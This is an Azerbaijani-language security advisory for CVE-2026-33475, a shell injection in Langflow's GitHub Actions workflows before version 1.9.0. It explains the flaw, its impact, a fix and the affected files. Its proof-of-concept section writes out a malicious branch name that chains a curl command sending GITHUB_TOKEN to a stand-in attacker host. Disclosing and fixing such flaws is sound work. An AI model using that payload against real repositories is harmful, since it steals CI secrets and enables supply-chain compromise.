CVE-2026-33475
Təsvir
Langflow süni intellekt əsaslı agentlərin və iş axınlarının qurulması və tətbiqi üçün bir alətdir. Langflow repozitoriyasının 1.9.0 versiyasından əvvəlki çox sayda GitHub Actions iş axınlarında autentifikasiya tələb etməyən uzaqdan shell injection zəifliyi mövcuddur. `run:` addımlarında GitHub kontekst dəyişənlərinin (məsələn, `${{ github.head_ref }}`) təmizlənmədən interpolasiyası, hücumçulara zərərli budaq adı və ya pull request başlığı vasitəsilə ixtiyari shell əmrlərini yerləşdirməyə və icra etməyə imkan verir. Bu, CI/CD icrası zamanı gizli məlumatların sızdırılmasına (məsələn, `GITHUB_TOKEN`), infrastruktur manipulyasiyasına və ya təchizat zəncirinin kompromisə uğramasına səbəb ola bilər. Versiya 1.9.0 bu zəifliyi aradan qaldırır. --- ### Təfərrüatlar `.github/workflows/` və `.github/actions/` qovluqlarındakı bir neçə iş axını GitHub kontekst dəyişənlərinə `run:` shell əmrlərində birbaşa istinad edir, məsələn: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Və ya: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` `github.head_ref`, `github.event.pull_request.title` və xüsusi `inputs.*` dəyişənləri **istifadəçi tərəfindən idarə olunan dəyərlər** ehtiva edə bildiyi üçün onlar **etibarsız giriş** kimi qəbul edilməlidir. Düzgün dırnaq işarələri və ya təmizləmə olmadan birbaşa interpolasiya shell command injection-a gətirib çıxarır. --- ### PoC 1. Langflow repozitoriyasını **fork** edin. 2. Aşağıdakı adla **yeni budaq yaradın**: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. Yeni budaqdan əsas budağa **Pull Request açın**. 4. GitHub Actions təsirə məruz qalan iş axınını (məsələn, `deploy-docs-draft.yml`) icra edəcək. 5. Aşağıdakı hissəni ehtiva edən `run:` addımı: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Bunu icra edəcək: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. Hücumçu CI sirrini exfil URL-i vasitəsilə əldə edir. --- ### Təsir - **Növ:** Shell Injection / CI-də Uzaqdan Kodun İcrası (RCE) - **Kapsam:** GitHub Actions aktiv olan hər hansı ictimai Langflow fork-u - **Təsir:** CI sirrlərinə tam giriş (məsələn, `GITHUB_TOKEN`), zərərli teqlərin və ya imiclərin göndərilməsi imkanı, buraxılışlara müdaxilə və ya həssas infrastruktur məlumatlarının sızdırılması --- ### Təklif Olunan Həll Təsirə məruz qalan iş axınlarını **mühit dəyişənlərindən istifadə etmək** və onları **ikiqat dırnaq** içərisinə almaq üçün yenidən strukturlaşdırın: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` İstifadəçi tərəfindən idarə olunan hər hansı dəyər üçün `run:` daxilində birbaşa `${{ ... }}` interpolasiyasından qaçın. --- ### Təsirə Məruz Qalan Fayllar (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
Necə düzəltmək olar
- langflow langflow1.9.0 və ya daha yeni versiya
Təsirlənən məhsullar
| Məhsul | Təsirlənən versiyalar | Düzəldildiyi versiya |
|---|---|---|
| langflow langflow | v < 1.9.0 | 1.9.0 |
Versiyanızı yoxlayın
Məhsulu seçin və istifadə etdiyiniz versiyanı yazın; versiyanın təsirlənən aralıqda olub-olmadığını görün.
Attack Surface Management
Domenlərinizə bağlı aktivləri, onlarda işləyən texnologiyaları və məlum zəiflikləri bir siyahıda görün.